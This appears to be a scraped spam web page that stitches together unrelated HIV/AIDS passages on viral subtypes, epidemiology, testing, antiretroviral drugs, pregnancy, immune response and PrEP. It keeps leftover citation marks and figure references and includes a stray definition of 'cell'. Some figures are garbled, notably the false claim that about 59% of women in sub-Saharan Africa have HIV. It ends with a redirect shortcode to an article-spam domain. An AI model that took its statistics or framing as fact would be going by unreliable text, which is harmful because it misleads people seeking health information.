These subtypes are sometimes further split into sub-subtypes such as A1 and A2 or F1 and F2.[citation needed] In 2015, the strain CRF19, a recombinant of subtype A, subtype D and subtype G, with a subtype D protease, was found to be strongly associated with rapid progression to AIDS in Cuba.[9] This is not thought to be a complete or final list, and further types are likely to be found.[10]

The prevalence of women with HIV in the United States is low compared to the rate in many countries in the developing world. Worldwide about half the people living with HIV are women. According to the United Nations, in 2005 about 59% of women living in sub-Saharan Africa are infected with HIV. The vast majority of them were infected through sex with an infected male partner.

Once infection has progressed to AIDS, the survival period is usually less than 2 years in untreated patients. Persons in whom the infection does not progress long-term may not develop AIDS for 15 years or longer, although many still exhibit laboratory evidence of CD4 T-cell decline or dysfunction.

Although the tests for detecting HIV infection continue to improve, they still require that people volunteer for testing. It is estimated that approximately 15% of those infected with HIV in the United States are unaware of their infection because they have never been tested. In order to decrease the number that are unaware of their HIV infection status, in 2006, the Centers for Disease Control and Prevention recommended that all people between 13 and 64 years of age be provided HIV testing whenever they encounter the health care system for any reason. In addition, resources are available to facilitate people finding local HIV testing centers (https://gettested.cdc.gov/).

Blood and genital secretions from people with HIV are considered infectious and the utmost care should be taken in handling them. Fluids that are contaminated with blood also are potentially infectious. Feces, nasal secretions, saliva, sputum, sweat, tears, urine, and vomit are not considered infectious unless visibly bloody.

Non-nucleoside reverse transcriptase inhibitors. This class of drugs binds to an enzyme that is necessary for the HIV virus to reproduce. Examples of drugs in this class are viramune, delavirdine (Rescriptor), and efavirenz (Sustiva) and others.

The basic subunit of any living organism; the simplest unit capable of independent life. Although there are some single-celled organisms, such as bacteria, most organisms consist of many cells that are specialized for particular functions.

Pregnancy – some ARVs can harm the unborn child. But an effective treatment plan can prevent HIV transmission from mother to baby. Precautions have to be taken to protect the baby’s health. Delivery through cesarean section may be necessary.

Currently, there is no vaccine or cure for HIV, but treatments have evolved are much more effective and better tolerated; they can improve patients’ general health and quality of life considerably, in as little as one pill per day.

It is also important to foster wider availability of comprehensive services for people living with HIV and their partners through partnerships among health departments, community-based organizations, and health care and social service providers.

Infection with HIV generates an adaptive immune response that contains the virus but only very rarely, if ever, eliminates it. The time course of various elements in the adaptive immune response to HIV is shown, together with the levels of infectious virus in plasma, in Fig. 11.28.

There is no fixed site of integration, but the virus tends to integrate in areas of active transcription, probably because these areas have more open chromatin and more easily accessible DNA. [58, 59] This greatly complicates eradication of the virus by the host, as latent proviral genomes can persist without being detected by the immune system and cannot be targeted by antivirals. See the image below.

Public perception in the United States about the seriousness of HIV has declined in recent years. There is evidence that risky behaviors may be increasing among uninfected people, especially gay and bisexual men. Pre-exposure prophylaxis (also known as PrEP) is a way to prevent becoming infected with HIV by taking a pill. When taken consistently, PrEP has been shown to reduce acquisition of HIV among people who are at substantial risk by up to 92%.6  Ongoing media campaigns—particularly those emphasizing HIV testing—and HIV prevention interventions for uninfected people who engage in risky behaviors (including PrEP where medically indicated) are critical. Efforts to diagnose people infected with HIV, get them virally suppressed, and provide prevention and support services are also vital. [redirect url=’http://penetratearticles.info/bump’ sec=’7′]
